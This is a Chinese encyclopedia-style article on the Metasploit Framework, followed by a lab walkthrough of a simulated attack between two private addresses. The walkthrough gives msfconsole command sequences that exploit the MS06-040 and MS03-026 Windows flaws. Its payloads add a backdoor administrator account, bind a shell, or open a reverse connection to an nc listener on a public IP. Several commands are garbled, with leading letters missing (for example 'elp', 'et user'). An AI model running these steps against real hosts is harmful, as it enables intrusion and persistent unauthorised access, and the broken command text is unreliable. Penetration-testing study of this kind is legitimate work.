标题：Metasploit Framework
百科名片
Metasploit Framework是一个编写，测试和使用exploit代码的完善环境。这个环境为渗透测试，shellcode编写和漏洞研究提供了一个可靠的平台，这个框架主要是由面向对象的Perl编程语言编写的，并带有由C语言，汇编程序和Python编写的可选组件。
简介
Metasploit Framework 作为一个缓冲区溢出测试使用的辅助工具，也可以说是一个漏洞利用和测试平台。它集成了各平台上常见的溢出漏洞和流行的shellcode，并且不断更新，使得缓冲区溢出测试变得方便和简单。
使用Metasploit安全测试工具在渗透测试中可以做很多事情，你可以保存你的日志、甚至定义每个有效负载在运行完成之后是如何将其自身清除的。值得一提的是这个强大的工具是免费的，它的开发团队由两个全职成员和少数兼职的投稿者组成，Metasploit Framework由最初的1.0版发展到现在的3.0版的漏洞自动化探测，成绩骄人，精神可嘉！
使用方法
以Metasploit Framework 2.7为例，简述它在命令模式下的使用方法。
1).安装完成后运行MSFUpdate进行自动更新，如无更新将提示退出程序。如有更新，当出现Preserve modifications(yes or no)?时输入"yes"?行更新.
2).可以通过MSFConsole直接进入，也可以在Cygshell下输入msfconsole进入框架命令模式下.
3).使用命令"elp"
可以看到里面有如下的命令：
"?"nbsp;      ：获取帮助。
"d"nbsp;      :更换当前的工作目录。
"xit"nbsp;    :退出。
"elp"nbsp;    :获取帮助。
"nfo"nbsp;    :显示当前程序的相关信息。
"uit"nbsp;    :退出程序。
"eload"nbsp; :再载入Exploit和payloads。
"ave"nbsp;    :保存当前设置
"etg"nbsp;    :设置一个全局环境变量。
"nsetg"nbsp; :移除全局环境变量。
"how"nbsp;    :显示可用的Exploit和payloads。
"se"nbsp;     :使用一个Exploit。
"ersion"nbsp;:显示程序的版本。
例如使用ms06040这个漏洞，步骤如下（不唯一）：
↓   show exploits //显示可用的exploit，以BSD开头的是针对BSD系统的ShellCode，以Linx开头的是针对Linux系统的ShellCode，以CMD和WIN开头的是针对Windows系统。
‖   info netapi_ms06_040   //查看这个exploit的相关信息
↓   use netapi_ms06_040    //使用这个exploit
‖   show options           //显示这个漏洞利用的参数
↓   set RHOST 192.168.1.11 //设置远程主机地址这个参数
show targets   //显示exploit支持的操作系统类型
set TARGET 0    //设置目标为0所代表的那个操作系统类型
show payloads //显示与正在使用的漏洞利用兼容的有效负载,说白了Payload就是我们平时说的ShellCode,不同的系统对不同的ShellCode要求是不一样。
set PAYLOAD win32_exec //设置有效载荷为执行特定命令
show options      //显示相关参数
set CMD "et user hello world /add"nbsp;   //设置要执行的命令为添加一个帐号
set   //检查环境设置
check //检查目标是否存在相关漏洞
exploit   //检查无误后即可进行溢出了
4).web模式下使用方法
运行Msfweb.bat，在IE地址栏中输入http://127.0.0.1:55555即可看到操作界面。
单击“select payload”选项进入Payload选择界面， 选择需要的Payload后就进入基本信息的设定界面，这里的设置和前面介绍的基本一致，等都设定好后，点
Vulnerability Check检查目标系统是否存在相应的漏洞，点Launch Exploit进行溢出。
展望
最新的Metasploit 3.0版本使用的是Ruby编程语言(RUBY以很少的代码实现很多功能而著称)，这说明RUBY已经逐渐被黑客社区所认可，是一个值得注意的新动向,虽然它和
NESSUS比起来可能是小巫见大巫，但也有自己独到的地方,它的功能强大并且容易使用，对于我们日常的渗透来说是一款非常实用的工具。当然，你完全可以自己向这个工具中添加任何你认为对你有用的溢出工具包。
Metasploit 3.0主要的目标如下：
Improve automation of exploitation through scripting
Simplify the process of writing an exploit
Increase code re-use between exploits
Improve and generically integrate evasion techniques
Support automated network discovery and event correlation through recon modules
Continue to provide a friendly outlet for cutting edge exploitation technology
Metasploit的适应性和平台多功能性都十分强大，加之功能强大,使用简单等特性将使Metasploit成为业界流行的经典工具。
|=--------------------------=[ Metasploit 2.7的模拟攻击 ]=--------------------------=|
本地主机：192.168.1.10
目标主机：192.168.1.11
1.开虚拟机，用nmap收集目标主机相关信息
要装Winpcap后才能使用nmap
winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。Winpcap可以为为win32应用程序提供访问网络底层的能力。
nmap -A 192.168.1.11 -oN C:\1.txt
2.目标主机开启了msrpc服务
对应的exploit: msrpc_dcom_ms03_026
1).payload设置为win32_reverse时，为逆向连接。
set LHOST 192.168.1.10
思路：假如不是在一网段，可设置LHOST为一公网IP，然后在那台主机上用nc监听特定的端口。
3.端口139，445开放，可利用ms06_040这个漏洞
不清楚目标操作系统时选择自动
1).payload设置为win32_adduser
set USER blueagle  set PASS blueagle  
2).payload设置为win32_bind
Windows Bind shell ,对windows shell的绑定
3).payload设置为win32_exec
set CMD "et user blueagle blueagle /add"  set CMD "et localgroup administrators blueagle /add"